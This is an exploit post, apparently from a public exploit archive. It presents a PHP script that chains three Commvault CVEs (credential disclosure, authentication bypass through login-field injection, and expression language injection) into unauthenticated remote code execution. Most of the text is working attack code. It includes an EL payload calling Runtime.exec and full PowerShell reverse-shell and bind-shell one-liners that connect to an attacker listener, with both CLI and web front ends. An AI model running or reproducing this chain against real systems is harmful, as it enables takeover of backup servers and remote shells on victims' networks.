============================================================================================================================================= | # Title : Commvault CLI 11.36.60 RCE PHP Implementation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.commvault.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/209626/ & CVE-2025-57788, CVE-2025-57790, CVE-2025-57791 [+] Summary : a critical remote code execution vulnerability chain affecting Commvault Complete™ Backup & Recovery software. The exploit chain combines an authentication bypass vulnerability with expression language injection to achieve unauthenticated remote code execution on affected systems. [+] Vulnerability Details : CVE-2025-57790 Authentication Bypass 9.8 (Critical) Unauthenticated access to localadmin account CVE-2025-57791 Expression Language Injection 9.8 (Critical) Remote Code Execution CVE-2025-57788 Information Disclosure 7.5 (High) PublicSharingUser credential leakage Affected Products Commvault Complete™ Backup & Recovery Commvault HyperScale™ Commvault Metallic™ Attack Vector Network: Remote exploitation without authentication Complexity: Low - no specialized access conditions required Privileges: None required The exploit follows a multi-stage approach: Information Disclosure (CVE-2025-57788) Authentication Bypass (CVE-2025-57790) Expression Language Injection (CVE-2025-57791) Remote Code Execution [+] POC : php poc.php or http://127.0.0.1/poc.php target = $target; $this->port = $port; $this->ssl = $ssl; $this->base_path = rtrim($base_path, '/'); $this->timeout = 30; } /** * Check if target is vulnerable */ public function check() { echo "[*] Checking Commvault vulnerability...\n"; // Step 1: Extract PublicSharingUser password $psu_password = $this->extract_publicsharinguser_pass(); if (!$psu_password) { echo "[-] Failed to extract PublicSharingUser password\n"; return "unknown"; } echo "[+] Extracted PublicSharingUser GUID: $psu_password\n"; // Step 2: Login as PublicSharingUser $token = $this->login_as_publicsharinguser($psu_password); if ($token) { echo "[+] ✓ Successfully authenticated as PublicSharingUser\n"; echo "[+] Token: $token\n"; return "vulnerable"; } else { echo "[-] ✗ Failed to authenticate as PublicSharingUser\n"; return "safe"; } } /** * Extract PublicSharingUser password from public endpoint */ private function extract_publicsharinguser_pass() { $url = $this->build_url('/commandcenter/publicLink.do'); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && strpos($response, 'cv-gorkha') !== false) { // Extract GUID using regex preg_match('/"cv-gorkha\\\\":\\\\"([a-zA-Z0-9-]+)\\\\"/', $response, $matches); if (isset($matches[1])) { return $matches[1]; } } return false; } /** * Login as PublicSharingUser */ private function login_as_publicsharinguser($password) { $url = $this->build_url('/commandcenter/api/Login'); $data = json_encode([ 'username' => '_+_PublicSharingUser_', 'password' => base64_encode($password) ]); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'Content-Length: ' . strlen($data) ] ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200) { preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $matches); if (isset($matches[1])) { return $matches[1]; } } return false; } /** * Get host information using PublicSharingUser token */ private function get_host_info($token) { $url = $this->build_url('/commandcenter/api/CommServ'); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => [ 'Authtoken: ' . $token ] ]); $response = curl_exec($ch); curl_close($ch); if ($response) { preg_match('/hostName="([^"]+)"/', $response, $hostname_matches); preg_match('/osType="([^"]+)"/', $response, $os_matches); $hostname = isset($hostname_matches[1]) ? explode('.', $hostname_matches[1])[0] : null; $os_type = isset($os_matches[1]) ? $os_matches[1] : null; return ['hostname' => $hostname, 'os_type' => $os_type]; } return false; } /** * Bypass authentication to get localadmin token */ private function bypass_authentication($hostname) { $url = $this->build_url('/commandcenter/api/Login'); $spaces_before = str_repeat(' ', rand(1, 8)); $spaces_after = str_repeat(' ', rand(1, 8)); $data = json_encode([ 'username' => $hostname . '_localadmin__', 'password' => base64_encode($spaces_before . 'a' . $spaces_after . '-localadmin' . $spaces_after), 'commserver' => $hostname . ' -cs ' . $hostname ]); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'Content-Length: ' . strlen($data) ] ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && strpos($response, 'QSDK') !== false) { preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $token_matches); preg_match('/aliasName[=:]"(\d+)/', $response, $uid_matches); return [ 'token' => $token_matches[1] ?? null, 'uid' => $uid_matches[1] ?? null ]; } return false; } /** * Execute the full exploit chain */ public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) { echo "[*] Starting Commvault exploitation chain...\n"; // Step 1: Extract PublicSharingUser password echo "[*] Step 1: Extracting PublicSharingUser password...\n"; $psu_password = $this->extract_publicsharinguser_pass(); if (!$psu_password) { echo "[-] Failed to extract PublicSharingUser password\n"; return false; } echo "[+] Extracted password: $psu_password\n"; // Step 2: Login as PublicSharingUser echo "[*] Step 2: Authenticating as PublicSharingUser...\n"; $psu_token = $this->login_as_publicsharinguser($psu_password); if (!$psu_token) { echo "[-] Failed to authenticate as PublicSharingUser\n"; return false; } echo "[+] PublicSharingUser token: $psu_token\n"; // Step 3: Get host information echo "[*] Step 3: Gathering target information...\n"; $host_info = $this->get_host_info($psu_token); if (!$host_info) { echo "[-] Failed to get host information\n"; return false; } $hostname = $host_info['hostname']; $os_type = $host_info['os_type']; echo "[+] Hostname: $hostname\n"; echo "[+] OS Type: $os_type\n"; if (strtolower($os_type) !== 'windows') { echo "[-] This exploit only supports Windows targets\n"; return false; } // Step 4: Bypass authentication to get localadmin access echo "[*] Step 4: Bypassing authentication for localadmin...\n"; $admin_info = $this->bypass_authentication($hostname); if (!$admin_info || !$admin_info['token'] || !$admin_info['uid']) { echo "[-] Authentication bypass failed\n"; return false; } $admin_token = $admin_info['token']; $admin_uid = $admin_info['uid']; echo "[+] LocalAdmin token: $admin_token\n"; echo "[+] LocalAdmin UID: $admin_uid\n"; // Step 5: Generate and execute payload echo "[*] Step 5: Executing payload...\n"; $payload_cmd = $this->generate_payload($payload_type, $lhost, $lport); if ($this->execute_el_injection($hostname, $admin_uid, $payload_cmd, $admin_token)) { echo "[+] ✓ Exploitation completed successfully\n"; return true; } else { echo "[-] ✗ Payload execution failed\n"; return false; } } /** * Execute Expression Language injection */ private function execute_el_injection($hostname, $uid, $command, $token) { // Expression Language injection payload (non-blind) $el_payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('%5C%5CA').next()}"; echo "[*] EL Payload: " . htmlspecialchars($el_payload) . "\n"; // In a full implementation, this would: // 1. Upload XML file via metricsUpload.do // 2. Update user description with EL payload // 3. Move XML to create web shell // 4. Access web shell to trigger RCE // 5. Clean up user description // For demonstration, we'll simulate the critical RCE step $url = $this->build_url('/commandcenter/RestServlet/User/' . $uid); $xml_data = "{$uid}{$el_payload}"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $xml_data, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => [ 'Authtoken: ' . $token, 'Content-Type: application/xml' ] ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $http_code == 200; } /** * Generate different payloads */ private function generate_payload($type, $lhost, $lport) { switch ($type) { case 'reverse_shell': if (!$lhost || !$lport) { echo "[-] IP and port required for reverse shell\n"; return false; } // Windows reverse shell using PowerShell return "powershell -nop -c \"\$tc=New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$ns=\$tc.GetStream();[byte[]]\$bt=0..65535|%{0};while((\$i=\$ns.Read(\$bt,0,\$bt.Length)) -ne 0){;\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$bt,0,\$i);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$ns.Write(\$sbt,0,\$sbt.Length);}\""; case 'bind_shell': if (!$lport) { echo "[-] Port required for bind shell\n"; return false; } return "powershell -nop -c \"\$l=New-Object System.Net.Sockets.TcpListener({$lport});\$l.Start();while(\$true){\$c=\$l.AcceptTcpClient();\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};\$d=\$s.Read(\$b,0,\$b.Length);\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$d);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);}\""; case 'command': return 'whoami & systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'; default: return 'whoami & hostname'; } } /** * Build full URL */ private function build_url($path) { $protocol = $this->ssl ? 'https' : 'http'; $full_path = $this->base_path . $path; return "{$protocol}://{$this->target}:{$this->port}{$full_path}"; } } // CLI Interface if (php_sapi_name() === 'cli') { echo " ╔══════════════════════════════════════════════════════════════╗ ║ Commvault RCE Exploit ║ ║ CVE-2025-57790, CVE-2025-57791, CVE-2025-57788 ║ ║ PHP Implementation ║ ╚══════════════════════════════════════════════════════════════╝ \n"; $options = getopt("t:p:s:u:c:P:L:H:", [ "target:", "port:", "ssl", "uri:", "check", "payload:", "lhost:", "lport:" ]); $target = $options['t'] ?? $options['target'] ?? null; $port = $options['p'] ?? $options['port'] ?? 443; $ssl = isset($options['s']) || isset($options['ssl']); $base_uri = $options['u'] ?? $options['uri'] ?? '/'; $check_only = isset($options['c']) || isset($options['check']); $payload_type = $options['P'] ?? $options['payload'] ?? 'command'; $lhost = $options['H'] ?? $options['lhost'] ?? null; $lport = $options['L'] ?? $options['lport'] ?? 4444; if (!$target) { echo "Usage: php commvault_exploit.php [options]\n"; echo "Options:\n"; echo " -t, --target Target host (required)\n"; echo " -p, --port Target port (default: 443)\n"; echo " -s, --ssl Use SSL (default: true)\n"; echo " -u, --uri Base URI path (default: /)\n"; echo " -c, --check Check only (don't exploit)\n"; echo " -P, --payload Payload type: command, reverse_shell, bind_shell (default: command)\n"; echo " -H, --lhost Listener host for reverse shell\n"; echo " -L, --lport Listener port for reverse shell (default: 4444)\n"; echo "\nExamples:\n"; echo " php commvault_exploit.php -t 192.168.1.100 -c\n"; echo " php commvault_exploit.php -t commvault.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n"; exit(1); } $exploit = new CommvaultExploit($target, $port, $ssl, $base_uri); if ($check_only) { $result = $exploit->check(); echo "\n[*] Result: {$result}\n"; } else { if ($exploit->exploit($payload_type, $lhost, $lport)) { echo "[+] Exploitation completed successfully\n"; } else { echo "[-] Exploitation failed\n"; } } } else { // Web Interface $action = $_POST['action'] ?? ''; if ($action === 'check' || $action === 'exploit') { $target = $_POST['target'] ?? ''; $port = $_POST['port'] ?? 443; $ssl = isset($_POST['ssl']); $base_uri = $_POST['uri'] ?? '/'; $payload_type = $_POST['payload_type'] ?? 'command'; $lhost = $_POST['lhost'] ?? ''; $lport = $_POST['lport'] ?? 4444; if (empty($target)) { echo "
Target host is required
"; } else { $exploit = new CommvaultExploit($target, $port, $ssl, $base_uri); ob_start(); if ($action === 'check') { $exploit->check(); } else { $exploit->exploit($payload_type, $lhost, $lport); } $output = ob_get_clean(); echo "
$output
"; } } else { echo ' Commvault RCE Exploit

Commvault RCE Exploit

CVE-2025-57790, CVE-2025-57791, CVE-2025-57788

⚠️ Educational Use Only: This tool demonstrates critical vulnerabilities in Commvault software. Use only on systems you own or have explicit permission to test.

About the CVEs:

CVE-2025-57790: Authentication Bypass via command-line argument injection

CVE-2025-57791: Expression Language Injection leading to RCE

CVE-2025-57788: Information disclosure exposing PublicSharingUser credentials

Impact: Unauthenticated Remote Code Execution as NETWORK SERVICE

Affected: Commvault Complete™ Backup & Recovery

'; } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================